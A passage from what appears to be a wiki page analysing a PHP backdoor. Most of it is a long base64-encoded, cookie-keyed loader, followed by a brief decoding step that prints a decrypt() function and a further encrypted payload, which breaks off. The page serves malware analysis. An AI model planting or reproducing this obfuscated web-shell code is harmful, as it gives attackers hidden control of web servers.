lCbGtLN0lZNHk0cjJ5emQ0YkdtM1dGb0pDdXlHV0J0M0NieW5lWGxvTjNxMm1HcmF1V2w2YU5vTDE3bTkyRG01OW5rSzdJWkl1MmdXekhlWnpHbTNXQXJwQ3V5R09BenE5c3M2Qit2STU1bXErRm1MT1dsNmFhcjcxN201U1BocHVZbmFxMnJJcXFubXEvbjZ5WGhIV2ZlcEN1eUsxL3FadWJ5bmVHejQ1NW1taVJ1ODJXbDZhRWFMMTdtNU9RbmF0cGh1REZscGVtaEsrNFpLVEdtM1dBcnBDdXlLMkJ1cEdac3Arc2w0U3JtNmlQcXF1V2w2YUlhcjE3bTVXUG5hdHBocnJKbHBlbWhMRzllNXVWaFhpcm5aQ3V5R1NBazY5c3M1MkcyWTU1bW1lR3JObG5nS2FGZXIxN205MkZocDk2bVpmWlo0RGNtNGpKWkt5WGc2dDFnWS9RcW1pV3pxYXh2WHVibG9WM3EybUcwNitXbDZhTWJMMTdtOTJEbkkyWW5hcTduSW1vcjJ5eXJYN0Vqbm1hYUliVHI1YVhwcEdqdlh1YjNZT0ltNWlkcXJwamlxcWVhTEpqZVppT2VacGxoN3paWjRDbWhZS3laS3lYaEhpRm1KMnF1NXVLcXA1cXRIbXNsNE9yaFlXT3E2dWdpcXFlYWJTSnJKZUVoWnVZbmFxem5wTzNjR3U5ZTV2ZGczZXJhWWF0cTVhWHBvMmdzcDJneHB0MWxtZVFyc2hraTdpdmJMS3Rmc2FiZFpacG1xelpaNEMybjV2S2Q0SGNpSjZubUoycXRtZC9rNjlzczRkOWxJOWhsNHVRcnNobGdKTjVtOHAzaWQySGg2dHBodERObm9TVHIyeXpoNDdHbTNXQVpaS3J1NWFYcG9SdHZYdWJsb04zcTJtRzBLdVdsNmFNYTdlZnJKZUVub21Xa0s3SVpIK1RyMnl6ZDUrV2pubWFaWWFzcDVhWHBwcXZ2WHVibFpDSHEybUcwS3FzZ2JpdmJMT2dpc2FiZFl5dWtLN0lZNENUcjJ5emg0N0dtM1dNWjQrODJXZUF0cHVMdjUrc2w0U0ZuNWlkcXE2c2s2bWZtOHAzamR5T2VacG5rcXEzcG9xcW5tcXlub0xHbTNXRXJZZTgyV2VBcHFPYnluZUYzWTU1bW1XSHZObG5nTXlqaUwxN201YUVZcXRwaGVDamY0bk9yMnl5clg3R20zV0laNFdzMldlQXpJR1F1NHB0eHB0MWhHcVFyc2hsaktpdmJMT2RtOXFPZVpwbmhxdkpscGVtaUxDem5xeVloWWVyYVliZ3hZMktxcDVwczJXR3hwdDFqWitQdk1XRmlxcWVhN1NJck1hYmRZMmdrSzdJWllDcWthR3luNnlYaEp1RnI0L1MyV2VBdHArSHZYdWIzWVNJZmFtTjB0bG5nTng1a3IxN205MkRuYXRwaHFxNnFvdTRyMnl6aDVlWWpubWFhSWE3MlphWHBwR2p2WHViazVDSHEybUc0THVXbDZhUXNiMTdtNVNEWXF0cGhlRE5ab200cjJ5emg1ak9qbm1hWjVHWHpZdUh1cEdpdlh1YjNZT2RxMm1HME1sbGpLWjltOHAzZ1ppT2VacG5oNnpSbHBlbWlHeTllNXVUa0htSm1KMnF1cXVVeldldXVZbXNsNE9yZFppZHFySm9mNUpvamJ5TG1MS09lWnBua2RMWlo0QzJqWnZLZDRIY2pubWFaWks4MldlQXBvbWJ5bmVLeTRlZHEybUdyYmVXbDZhUm9icUxuTE9PZVpwbGhxelpaNEMybzI2NW42eVhoSVdGbjRYUmtwYVhwcHVndlh1YmxJU2NnWVNRcnNobGk3bWJtOHAzZ2R1T2VacGxrcXpaWjRDVWZZNnplYXlYaEhpSmlwQ3V5R1NBdUs5c3M2Mmd0WnVjaVppZHFzUm1pcXFlYUwrSnJKZUVoWVdmaGF6Wlo0QzJnWnZLZDRXVGpZbWJoSXE3ekt1SHVLOXNzMlY2dG81NW1tV0ZsOWxuZ0ttTm04cDNpWk9YWXF0cGhlQ2pocFBPcjJ5emg0bmJpcDJGbzVDdXlHYUFrbXlOdUl1WXNveDNxMm1HME1TcWhwT3ZiTE9IaHNhYmRZaXVrSzdJWTRDM2JKdktkNFdUam5tYVpZZTgyV2QvM0htS3lwK0ttWTU1bW1XU3JObG5nS2FKbThwM2pzeURkNnRwaHEyM3BJZTJpWWE5ZTV2ZGczYWZhNUN1eUdPTXpxOXNzM2VHdG81NW1tV0YwWktXbDZhRXI3MTdtNVNFaDZ0cGhlQ2pscGVtaWFPOWU1dVdqNGQ1bUoycXhHZUd0NDJieW5lS3k0NTVtbVdHbDlsbmdLbUptOHAzbU11T2VacGxrcXpaWjMvY2ladktkNGJQaUhlcmFZYXRzNWFYcG9TdnVZbXNsNFNlZVlTUXJzaGpnTGRvbThwM2haT09lWnBta2J2RmhZcXFubW16aWF5WGhJV2VabzNTMldlQXo0R1B2WHViazRSaGFKaWRxcnVjaWJpdmJMS3RocmFPZVpwbmtielJlNGJPcjJ5em9INjltNGQ5cG8zUzJXZUFwcHVIdlh1YmxZK2RuNWlkcXE2dGg4Nk5qN2RrckplRWVJVjdrSzdJWklHMmZadktkNG5jam5tYVo1RzgyV2VBcHBGL3ZYdWJsSU9IcTJtRzA2ZVdsNmFKb0xlSnJKZUVlSVdZbmFxN25JcXFubWkvaWF5WGhIV05oSjNTMldlQXBxT2J5bmVCazRxSGlZK1Fyc2htZ2JpdmJMTjZpc2FiZFkyZWo3elpaMy9jZVp2S2Q0Yk9qSGVKYVl5WDJXZUF0b21ieW5lRmxJUjNmWXVPMHRsbmdLYVJoN0o1ZnNhYmRZUm9rSzdJWkgvT3IyeXpkNHJFam5tYVpZYTgyV2VBdG9HYnluZU96SXVKbjRPT3ZMZG5oOCtuZTcxN201T0RZbjJZbmFxMlk0ak9yMnl6ZDRyR20zV0lyWkN1eUdTQXVJR2J5bmVGM0l1Y2hZeVFyc2hqZ0xpdmJMTjZpcm1PZVpwbGtxcW5ob1M0cjJ5emgzNnBqbm1hWm9YUnQ0S0txcDVvczJObHVJbUpsNE9PcTZ0N2lxcWVhTDk0aHJtYVlubW1rSzdJWTMvTmtZdTllNXVUaEhpQm1KMnF1bWlLcXA1b3ZwK0d4cHQxbHErUXJzaGpqTGl2YkxOM2dzYWJkWXhxa0s3SXJZR29yMnl6clk2d2pubWFab1hnb3FXRnVLOXNzM2VHbHBxZHEybUd1cmVXbDZhRXI3MTdtNU9RaDRHSmp0R3JscGVtakdtOWU1dVVnM2VyYVliUXhaYVhwb1dqdlh1YjNaQjBmS1dIbUxlZGs2bHZuOGhtaHR5T1pIMmhtNjNabTR1VWpLZXVuNnlYaEloNW1KMnF0NXVLcXA1cHZvbXNsNFNJZUo2RXFiTnFmS3FmcGI5bWd0cWJpWmV1bks2UnBueXFxcVBLckg2cmluWnNlSkN1eUdOL3Q2K01ycUZseFgrZHEybUcwNnVobE5DQm04cDNsNWFPZVpwbmg3elpaNERQalp2S2Q0MlRqbm1hWjRYUzJXZUF6NHlodll0azA0VmppV21adnJKcW1McG5uN0dzbzhxUFkyeXNuYjZybzR5VW4yaXVkcVBaZjNWcllGcVBuRDA4aHF1bmhYQlVoWmVUckptWjNNcVlwYUtlcGNhY29KR1pvS0JYYzNCclY1akxxYXZab1pYUW0yNm9tSjdQMDZhbWlxcXMxNmVqejZXb21LZGcyZGFWcGRhcFlJbVpxYytpbjVTaW5aS1JYNlhXcWFqVXBseUhuS2Fmb2FiSHpwaGVoRmRhamx4ZGpIRTdjNmlnMjhlWm5zZGZYTXVsbzlDVnBxYWFxdG1LYmp5RlYxekxwYVBRYzFsYldaN1kwS0NSMTZxZDE2YVBrNU5TY0ZkYWo2QlhtTlNtcGNTb3A4aW9wSTVsbGFDRm1adlVxcXpUbEtISVgxOVZZbHFVMVp5ZngxOWhrMVYwekptZ282R1oxTVZobGRGbHJkQlZiMjFhbDZXa3BhT0pXMWJJcWFmU2txbldtNk9ta0dqRGduQlVoR0IzaVptbTBxT1FxS2lkMk5TT1lyOXhYTXVjcHRhcW41U2luWStQVlhMTG1xZlZuNVhSbWwrV3BHYmJ6RlZ0YkVGYmlaV2cwcDJtcGFGMWlNbW5wdEp4WjVTcXE5cGtrcUdXcE4vVm5KWFZhV2lUb3FiS1dHdzlXRnpiejZhbnhLcWIxNXlXeUpXZG5LT2pvNFdWbnRHZXJkZWZZb1ZsVTJGWnBzdllsNXZVWlZxVWNsYVJxYWFWcUt6WWlhQ1dsMTlhMFpXZ3hKZWtsMWRtMDhxV3BOR3JvZEtZWEl4ZlhXTmhxc2ZQbDFxVVoyU1haMTJNWkZPV2wzQ3drVlZ0YkZ1dDA2YXB4YW1VcFo2YXk4Q2ZtOUNpZFltVm9OS2RwcVdoWm9pUVZXQ0dwWjNjbDUzVlpGTmlkRnFVMUtpVTFhdXFqYUNZbUY1VG41ZWt4OEttbG9SbHBjNldwdEtxbXFDYVlJK0tYMktPcVpuVGwxeVZabDFsYVdHUGoxV1dzSitpdWxWdmcyVmdVNkdaMmRVOVZZYWRxdFNnY1lXamtweWhaZFRRcFpmU283R2xtcVBTbloyWVk1dlZ6bFZ0YkVGYzJLaVd6WnVVcDFWMWhvT0Ruc09hbllXVW9vT2xvNWVhcW9iRG1LYlpuSjNUVTRIRXFKU2JWV21iZ1dCU3I1aXF5SnRVbFdaUmxLT2NodHFpcDRLdW9kR2ZWTXFicFZPV3BvYkNsNWJMcTZIVW9aWFBWbUpqV2xqVngxT1owYWFjMkZPYTBxaFJtYWVkeTRKVmJXeGJxc3FVb05HWG5waFZkWWFEZXFIUm5xVEtVNExJcmFSVmNFS0t6cGlsMVppZnluQldwNXVTcFZWYWxJV1ptOVNxck5PVW9jaGtVMTgvUXIzR1U1UFVuRmpjb3FiT241K2FWYURIMDVkUzFxWll6cUNrMWFXbm1GV1owczFUb2NoWHA5cWxWTmF2cEtlYXBkbUJwNkdDcXAzWHFabURyNkNvVlpyTDFhZVgxR1ZZcnFGVXhGYWZtSmFxaHNlb3B0ZXBuWVdzbzloV3FKeWhwSWJEbUZMRG1hVEtVNmpTVnFHZmxwdkxnWlJTMEp5dmhhS214NXVqcG1GQzJ0T1VsYzFYc2RTb3BvT21rcGFnbWMzR3BsTERwWnlGbXBuWFZwSlRwNTNIelZPbXk2U2RoWitkMlp0UnBxcW8xdENscG9Ka1dNYWZvSU9jbzZLaVdOWFBtRkxTbzVuSW1HS0RWb1dibXFyTGdaU2t4MWVseHFHdGc2bWdZSmlaMHMyWWxvS1RXdGVZbGM5V3BLZWtxc3ZVajFTT1Y1cmFwMVRhbTFHVXA1MXcxWnVYZ3FhbTBheFUwcVNXVTZHZHpjcW5tOCtZck1wZlZNK2ZsSmlqcTh2RlU1UFFtMWpYbUtETWw1T2ZtbGpWejUrYjBKeFkySnVqMDZhYW9aeFkxczJVbGNkWG50U2xWTVNpblZPa25vYmFvcWZVcWxqU21Kak1tWktubnFmVWdhR1h4NXVyazFPTHlGYWdtWnVkMklHVm9kYWZXTWVsbGRHYVVaU2puSERJbUtESHFhSElwbFRRbTVXbVZaN1YwMU9veDZteGhaYWowS2FXcDU2c3o5ZVlVdEtwb2NpWXA1RldlcGxWc2RYV3BWTFNtSnZRbEp2SVZwYXBtcXFHeUppbWdxT24yS2RVMnB0UmxLR3Z4OXFtVXRtZ3BORlRwc2lwbVp5bFdNL1ZVNWpScVZqTHBabklaRHM5aDUzVHhxQ1V4NmxZMmFKVTJLYVZsS21kaHRxaXA5UlhtdFNpbjlDWG81Nm9XTXpRcFZMUnJLcUZiNVdEbnFPWW0zV05nMkZXeEtPbnpLaW16MlJUWWxkbWlzK1lxY2FncXBOVlk2SllYNmFxbXRuVnBWclBtMjJOVmFERm9wS1VxSnlJajZDYnhhbW4yWnloeUY1YVhHRm9rdE9Vb01aZmFwVmZaNU5mV21GWFg2VFBtS21DbUtiSlU1M1FwcU9pcTUzS2dhYW0wYW1kb1dLVm9XUTdQWGVkaHNLcWs5U2NXTlNaVk5hWmtxQlZxOC9WbUtXQ3JxSFptMVRXbjU2Y29abllnWitoMGFKWWtsT3J5RmFTcFpwWTJzbVlVdEdscE41VG85R2JVWithbjgvVm5KL0RxNTJGaUllRGw2R2pwNmZjeHBkUzBhV2t6cUdaZzVxanFKeXIydENsbDVCQlFxYWhtSU9vbHFDYXBjakdwVktQVjYvS1U1WFByWktzcUZqWnhwK2VncDJuMTFPZ3lLbWtWRDlDdXNLZWw0S1luTnVVb3RlWG1KaFZwOHlCb3FmVVY2dlZtSmZNbDUybVZXV0cwWitUeFp4WXhxRlUwcWlWbUtkWXlNYW5xY2VjcG9XQWxkV1ptVk5tYllhT1UzL0RxWnZOVTJhVFZwS2htVmpmMEtoUzJhQ2swVk9ieUtwUmxLTll4OFdYbTlhZ3A5T1VvSU5uWVZoVnA4eUJtcUhSbTZ1Rm1hUFZWcGVsbXAySGF6MkgxWnhZMlp1ZDFsYVVvcG1kaHNLblVzV2ZuY2llVk5LcnBWTmlXSjJZWldxVmFHMkZwNk9EbVoyVW5xV0cycUtuMUZlY3pxYVgwcXVmcDJOQ2NMV2JrOUNpV042aXFZT2NvS1ZWbXN2R29WTE9wckhHbjFUR3E2U25wS1hMMDE4OHZYK2QwWmlpMzRDZ202TzB0c2FubDlTemV0ZW9sOGl5Y3ArYXNPS2psS1REb3JTcWw2dkVxSld2aDZmSXhxV20zbnFnMTV5bjM0bWxtS3VkNHFPY25zNnplZGVmbmRHeWY1U1pvY2ZkaHBQUXE1bmhnS1BSbjV5VXNZTGIxS2ViMExOKzE1aVl4Nit0ZmFxcjJzcWhyclNtbXNxbHFOS3lmNVNab2RUR3IzalVuSnpLcFozR3NuNmNvSjNEYXoxdXcxZWcxNWlhb0YxVFlWbXQxTlNvbE5XYXFzNlZtY0tpbXFHZ1pvaUljYWZRcXEzSHBwZlZuNU9ZY1dmSG4xVnRiRUZjMktpV3padVVwM0tzM3RXU3BjcXNuc3VmbVl0YXBLaVhvc3ZFcDF1ZFFWelNtS2ZXbDVpWWNxemUxWktseXF5ZXk1K1ppMXFlbUtpcng4aVlXNTFCUW9oV1Y0WlpWRlpZVzRtRVZsV0ZXbHVJVmxlR1dWUldXRnVKaEZaVmhWcGJpRlpYaGxsVVZsaGJpWVJXVllWYVc0aFdWNFpaVkZaWVczQnJuSmlLVzZ2WmxKdkljMjVWbVozU3hxZVhoR0N6YjFOVWcxWlZtNWFxMko2WnFkU2dyTWFWb01oZWNuV0lpS2UxZTJDRVpxL1ZZSmZTcEtXWW82eVYxWnVYejV5cmgxOVcwNTZoVlY1emNJRlRVb0tnbm8ybW5kMmJvSmxkWE03Q3BhU0xkV2lPVTVyU3FKYVVtS0NPaFp1VDFLbFl4cVpVaDZhU3A1MWhoc3FaV3RXcnF0V2lwNHRhb1pTcG9KS0RuS0RHbkxDVG81elRXRnBVY25YTXdwK2x4MkN6YjFOVWcxWlJVMVZZaXNxaG1KK3FyTWFuWEllbWtxZWRZYUZyVTFLQ1YxaUZVMVNIcXFtbmNwN1B6WmlSeVp5c3hKYWowYXFXb2FtcmpvV2prOWFmWWFBOVZJTldVVk5WV0lhRnA2cldkS2pYbUp2Q3FKYWpvWm5KeGx0VWczT1VwS09jMDFaZ2oxOVl5ZENqcTlTZ244Mm5WTDlnWUdGZmQ1VzlYVkxGcHFqZXBaM0tucVZUa1dLVmdZOXhvRmloMkZWZ2hWaGRWNm13Mm9wdVBJSlhXSVZUVklOV1ZabWRkY3pRbzVmUVgxelZsS2pMWWxPcVlGcVBuRk9ZMmFtaDJaaGNoNXlaWDFtczN0VmNiWUtkbTlHaXA4aGVWWm1kWWFGclUxS0NWMWlGVTFUWHBhYVduV0NLMFpTbXltTmN6cUdhdmwyZXA1Nmx5NGlRWG9hZ3BzdU9XOFNxbXFDYVg4T0tianlDVjFpRnNENkRWbEZUUDBKdmhhT1QxcDkxcG5XSHMzZUZlMk5hbGNxaGxzZXZadFdicElWeE96eFpvZFRIY0tYV21LeU5WNlRFcXBsY2NFSnZoYWVxMW5TZXpwK1p3cDJXcDVTYjFjK25sOUNycTQxWHBNU3FtVnh3UW0rRnA2cldkS2pYbUp2Q3FKYWpvWm5KeGx0VWczT1VwS09jMDFaZ2oxOVl5ZENqcTlTZ244Mm5WTDlnWUdGZmQ1VzlYVkxGcHFqZXBaM0tucVZUa1dLVmdZOXhvRmloMkZWZ2hWaGRWNm13Mm9wdVBHdGJuczF3bXRLbWxxRmRYTmJDcDVxT1dhK1FWVjJlVnBlcXA2SGF4bHRXeUo5a2lhV28yNnBmVjZtdzJvcHVVc2lhcE5TbW1ZdGFsNXRlYzNCcXA2SFhtcUNOVjZURXFwbGZXYUhVeDQ1Wno2dWgwcGhid0dKVm5LT2V3WWlVcHN1a25ZeVFYWjVBTzFOVldJWnJVMUtDVjUzZG5LaWVRSzQ5UDZITWlWZWwxcGlmeW5CeGhaeWFwYWlzaUlxdVBJSlhXSVZYbDhkenBLZW5sOWpHbzVmRHEyQ0hZV0tTV0YybXFwcloxYVdSeGFhdDA2ZGNoNWVUcHFxcTBvMVZZWVJnWlpkY2IyMVdVVk5WUW9tQlUxS0NuYWZYbUpYR25sbVVwNnJIMmx0VTFhdVoyYVppMDU2aFZXRmF6OCtab1pDbm9OVlZZSVdab0tpanJNdlRZYUxLcDFxT1U1WFdWbFdabTJIaGExWlNnbGRZYmxla3hLcVpjRm1ieW85WG1NaHlRb2hUVklOV09sZWVwc3llcHFiRHEyQ0pvNVhYbmxwdVAxdUdnVk5TYTF1ZXpYQ2EwcWFXb1YxYzFzS25tbzVacjVCVlhaNVdsNnFub2RyR1cxYkluMlNIVlYyZVZwZVdvYWZaeGx0V3lKOWhvRDFYZzFaUlV6NnMxZGFXbW9wYnFNYW5uSTlhbXFHYms0M09wNXZQbkYvQ1gxak1wSmVPWEpuYXlxQ1hpWlJob0QxWGcxWlJVejZ0MU0yY29NMWZYTldVcU10ZmJEMVlXSWFCVTY5c1FVR2xscHpRcFpWYldadktqMVdWMGF5bTJaaW1rYWFabzFka2xwaHFhWXR5UW01enFkR2ltcUdnWUlyRWwyQ0VtcWZhb2FqSXFGK2puYWlJaW00OGJFQjQwcDZZektoWlY1aWNsSVdobDltYm9kZGNiMjAvY1phZHBkWEZXMWJGbTJhSm9abmFtcHFsWVdpZG1HcGJuVUZCcFphYzBLV1ZXMW1ieW85WG9NZXVuTTZsWW9WbG1xR1puZDZQbzVyU1dXU1ZhbXVhWDJ3OVAwR0swWlNteW5SY3lKZGloNlNXcXBtaDJJOVZZY3Vsbk1xcll0T2VvVlZ3UW0rRm5LRElkS3ZabEtpTFdxR1VxYUNQbkQwN2hxdXcyWENhektLV2tweWQyc0NXb2RDcm5kT25wNHRhb1pTcG9JK2NQVHVHcTdEWmNLVFZtNWlTcDUzV3paU1Z4MTlhaG0rUW9xYVpvMVZud290VGxkR25zZGVjbTh1cVVZOWZaNVNMY21HK1lWaklvcVRjcUpxYW5heUd2VjFoZ3BOM28xU2QxbGhkVlZka2l0V3Jwb3R5UW01WG1zdHpsNktsbmRTSlY2TERxNkNSVmF1T1dGcHVWWjdkMDV5bXgxOWN5NXRnaDZpbHE2bG1pdFdycG90eVdNdVdvTktwbGx0Wm5zNktianhybXFEU29waUxXcUdVcWFDU2tXaG5sMkJ6aFphYzBLV1ZXMW1ieW85WG9NZXVuTTZsWUpOclptaGVjM0JxcDZIWG1xQ05WNlRFcXBsZnFLelkxYUtteTZTZGpWVmxuRlorbEs1WW1KRmphNFJnWk5pbnB0ZWxwWnlpblk2RFpHdUNoSm5lVTJhVFptcFZYbUdoYXowN3g2K2gyVzQrNEVBN1Y2S2QyZFNjbHRTWXBzbHdWb1Z4VVpta3FvNkZuRytTY2x6T2IyYVZjVldjWUdPUDNGTld4WjkxeUp1bWk2T2xrcWVaMU1WYmE1bGphWmRsWFl4eFVWZWluZG5VbkpiVW1LYkpZWEdMbzZXU3A1blV4VnRpam1oaG9uQmxqSFZWbHAxeTJkV2xwdEdzcU5XWXBvdGFsSnRlYzRiZVBWYkdwcVhHbktLRGMxR21xcHJaMWFWYWhwMnExS0JnZzZtbHBhV24yWWxYbU5TbXBaRlRWcU5ZV2w5VnE5clRuNWZRWDF6THBhUFFYMXB1UDF6T3hwU1d4NmxZb2xOV3FhaWdvRzlZaUk5WG1OU21wWk5Wa05XU24xVndRb21GbTVmRG01M1hVMktnVmxOL25xdmFqb2lnMWF5YTJKYW16SmlXYlZWYWxJV29vTldzbXRpV3BzeVlscEtob2RUTVlWUytxWlRUVlc5dFdWV2JtcG5LeHFWU2tIUlloNFdaMDZLcVlLbW5vSUdob1krcG5kV2ZyYU9kbnBTZXBKVEVvcCsrcVpUVFZXOXRXcG1ZbHB6TDAxTmduMWRhc3BpbjFwZVltR0tCeXB0VGJvUmxYTktZcDlhZmxhV1dwc3FQVjViUnBKbk9vV0tGZEkybGthYUluRDFXeXB5WnlaaW1nMlJ1VTFlRnI2NTRYN2ljcXRpY285RndVV1JqYU1MVGo2Q0Vja0tKbTVuRW1wYWxWV2FqZ1ZWMTBhV3N5cUdva0lxcW81cHlodFdZcXRabW9ObWdvTCtvamFGWGMzQ0ZtNWZEbTUzWFUyS2dWbE4ycEtiYXhxR21qNHVxeHFHbnladWpZSHFteWRDWG05Q2Vjb1ZybHN5cWphV1Jwc0xUajZDRWNrS0ptNW5FbXBhbFZXYWpnYUdlbEptcWpWZWh5S21rbEp5ZGo0OVZqdFNUcG9kdVBtMmZsMXVpbWMvTlcxYldwbVNKcHFuRm9KYVdxV1NJZzE5V3lweVp5WmltajExZW1WVmZsSVdacE5Ha1lZNVRtY2Flb0ZOWHBjZktuNUhKcHFmSlZXOXRtNTJtbXJOd2dWTlNncUNlalZlbjE1ZVltSEoxaU1lY3BOV3JXb1ZaV29PcG1xMmFwOHlKVjVyRHFhcU9jV1NNVnBlaXA1M0h4SnRhaHArWjE2VlV4S2xSVjZXWjJzbGNVc3VkWU5pbnB0T2xwRnRacU1mVm0xNkVvS2JKbUt5UnBwbWpWMkdIbm5DWXc2T3J5bHl2YlQ4NlY1Nm16SjZtcHNPcllJbWpsZGVlV200L1FXK0ZwNnJXZEo3T241bkNuWmFubEp2Vno2ZVgwS3VyalZla3hLcVpYSEJDYjJwWHB0cXJkZFdsbWNxVm81aWxwTWZFbUZxRVdIVEJjcVRMcGxGaWtXS0d4S0tpMjZtaHpKdW9nNUpiWW1OaXBaQ1BYSUthcDlXc3BzeWRtYWRWbEpDUVU0NmhkVm5PcGxhUFdGTmZXYXplMVZ4dGJFQkJpWm1jb0p5Z281cW1qb1dqazlhZlpJZXFYNFZmYkZPYnI5aktwNWVLVzU3TlgxalhycVZjY0ZqTXhKK2gxWnhnaVptY2pIRTdQRDZzMWRhV21vcGJxTWFubkk5YW1xR2JrNDNPcDV2UG5GL0NYMWpNcEplT1hKbmF5cUNYaVpSaG9EMVVnMVpSc0Q5WWhvRlRsOFdmcDRWVmxzU2FVYWFwbWMzR1UyU0Vja0tGVTFTRG02bWNxWE53M2owOGJFRmJpRlpYaGxsVVZsaGJpWVJXVllWYVc0aFdWNFpaVkZaWVc0bUVWbFdGV2x1SVZsZUdXVlJXV0Z1SmhGWlZoVnBiaUZaWGhsbFVWbGhDek5haGxkYWdwOU5UbXRxb21xZVdtdExHVzFiR1kxekdscWlnV0pXY3AxcVAzRDA3eWFPbng1U2dnMXFTcGFkemNHcFhscCtxck5lU3BzaW1uWlNZblk2RFltR0VZMXFVVldDSG1scHVWVnpLbmx1bDE1bXIyYVZjaDVwZFlHWmhvNTVWWVlSZ2Q5aW9sdGFxbzF0Wm5KS1JYMStUWUhLSmwyOXRQNXFaWFZ6S3lxVnZvcWFveXFHWXpLaFpWNWxoajl3OU8ydXVvTTZmbVl0ZVZabHllTmpHbEpiR29LcU5WNWpNcUZwY1ZuV2p4NVNlMVp4aDREMDliRCthbVYxY3pKNXdWSkJaV09HdlZJZWNibkJYWnBTRFU2N2VWNkhZa3FETXBKeGJXWjZQaWxPVjBhV3N6cUdweUhFN1BENUJ6OGRibTlXV25NNmxYSWVhWDFWa1dwU0ZtVnVMc2tKdVBEMXNuNWRiV1puSjFYQnZoSnVoMTFWVWlWeFJuS2lYM2RPY3BzT1pwTXBiV01ka1UySlhab3JIWEZ1Q1c1blhwWS9BYzFXWFkxcVZnMkZXeUhKQ2JqdzliSnlvcFo2c3g4T2ZsNHBibkpOVlk0VmtWWmxoV0lyQ2xxYUxja0p1UEQzZ201Mm1tcUhNaVZ0V3c1cXNvbkJXMDU2aFZWNVlqSWRUbTlXV3I5ZWNxTVNZblpoZFhNcVBWV0dFWlZ6TFhGU0pYRkZicUszSTFLZWtpbHVla1dCb2pITnVWV09venRGVlV0NnpXTmlvbHRhcW8xdFpucEtPYUY2V1lIV2lWV0xUbnFGVlhtR0doWlNrMUpLVm9sZVlrVmhnVldOY3pKdzlPMnUwUW02d1BteDJsSitrcTh2Rm5LU0tXNXpPcFYyZVFEcWxtcXpiMDZGU2hwaXExMjQrNEVBN21hcW15ZFdjb2RCWHJOMm5rOWFlcHBtYnBNdUpWNmJhcTJIZ1BWU0RWbEdqcDUzTndLQ1QxcHFneEpTZ3oxNVRWSkdUam85ZGNZdVRsWWFjcDRWaVZhZXRySktGb0Z1ZFFWaUZVMVRNbkZtbW5yTEwwSmxhaHFTVGxwQnlrMTlhVTV1bjJNYVVsY3BmWE5LT1pjQldrcVpWWE5HZWNWYllZTE52UEZqWmM1YXJwYVRWeFpoYWhMTmFrVmVxakhFN1BLaWcyOGVabnNkZlhOdGNiMjAvVmFldHJLUFVwNlRCcVozVm41WEdtMWxYb3BPV3ZvNVd6WlJraWFtUGs1TmRWNm13Mm9wdVBJSlhXSVd3UG9OV1VWT25uZHJXcGFDQ1c2emRwMjl0c3pzPSIsJF9DT09LSUVbJzFmYTIwNzQ0MzFiNDdjYjknXSkpOyBleGl0Ow==&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It&#039;s clear that this is encoded in base64... Decoding it results in:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
function decrypt($txt,$key){&lt;br /&gt;
    $txt=base64_decode($txt); $res=&amp;quot;&amp;quot;;&lt;br /&gt;
    for($i=0; $i&amp;lt;strlen($txt); $i++){&lt;br /&gt;
	$c=substr($txt,$i,1);&lt;br /&gt;
	$kc=substr($key,($i%strlen($key))-1,1);&lt;br /&gt;
	$c=chr(ord($c)-ord($kc));&lt;br /&gt;
	$res.=$c;&lt;br /&gt;
    }&lt;br /&gt;
    return $res;&lt;br /&gt;
} @echo(decrypt(&amp;quot;qKOry9VbVsGHh7iHj4qcmp+aX8OKblK+W6vZlJvIc1OmmpvVz5dUnUFc05irx5+jcFdslsZVbWxBXMulo9CVpqaaqtmeqKDVnKrOlKDMsJZbl5nZxmlmwZudyKKYyF5TjImn3q6HopmYjNSqg5aDZ4Gvp8+6imfNm2q7po62f2iUiafesGZ/mIWM1JyW0KKkjXx9z7BlnZiEotmtg817qIKegte6ioDam4+7ppW6a518n6zWsJ1/mZqy1GaDzIBhlIxp3MV6mpeAotmjg82HaJavp5mwnHzcm5DVm5bQa518n6zWsJ2HmZqy1GSDzICelqJ+28Kse5mYjNRlg5aDZ4Gvp8+6inzSkWqro5amf2iUiaeZsGZ/mIWi1JyNumuclqKOzqqdptKGosxql92lY4Kegs7EoKrOmaW6nIOVoWeCiazgsJ2LmICmt6KWlWeZlq6BncKHodqEfNmtg82hZ3yihtXEoJ7cm3+eqpWmf2iZhnWjg1xbnUFcy6Wj0HNTnJin1s2UoMZlm9Rhqc5YbD1ZmtLQmqfUo3WHm6jXpmtiZK/d2GGey56g2Zed0Jufpp6n1I+ipMlZc29XncaabqaqmtnVpZHFpq3Tp1yHmJ2inK3YzV9UkVlhkmVvbZygpV1cz55jbYJboaFXncaabFNZoZGMXFKGmaTUmqnVom6mqprZ1aVahpmk1Jqp1aJdY2Gr2tOlotGqYImVoNKdpqWhZIiQVVuLckJvV5XFqaaloXWIyaem0nFnlJyX0qadlKOclMSiYNeiWqA9WMmrnZ+jmdPGcKfFrqfXl6eLqaWlqafS0KqX1F9axpWdypean1Wcx9ecl9VZYY5uPoeXlZenndnUcKfFrqfXl6eLqaWlqafS0KqX1F9a2JuZz6KTpaSn0YGbodeqnYWZldWjXVOip8/TlFLUppmHXF2eQFWtnqjJ0JeXn1laoD1Yxp+lrHKtydiipMaqYNinptelnaKsndiJVZPVn5reYJjIY52UYrLV1paahGBhoD1Y1qqSp5p1iLuNVJ1BXMiiqdGqo6xyWq2jVW1sQVzXp6zXc5OUqJ2clZKWx5qnyZhchYZ1bKyZrqKaftumn75lbdqbiX2lkpjJY3ulpq6udoaaf5yXgpCuyGOMzYGbyneF2455mmWRl9lngLaEocuJp8yOeZpnkdPFlpemkaS9e5uWg52raYbgxaOKqp5qv4msl4SbhZidqrqslMuBnLWGfsabdZZlnazZZ4DciKG0rIbPkGOJpZqt2ZyVpmehvXublY+afGyCrtSciqqeaLNkrJeEeIGFkK7IY3/Or2yzd3qwjnmaZoXfq2yJ24GbyneN3ZdjZKaQrshlf5WNqL+GfseGhH2YnarEZXvMq6XHZn7Pj4iBpIOps5mEko2Nrnp63YB5pqCSvcWfk7mvq76hdpyGhWegnd+zanvOr2yzd5iwjnmaZZLRq5aXpoiwvXubk49igJ6evNSciqqearJlqMabdY2gkK7IZYu5hWm9e5uVhYiInpC+kaOX24lvrp+sl4R1l5idqrOdhpOvbLN3fsabdYStkK7IY4uTr2yzh4HMnIemnpKs2WeA3J+byneXlo55mmiFvZqWl6aQsMd7jsabdYytkK7IZoC4r2yznYnMjoVjnpCuyGWLy4Bvxoq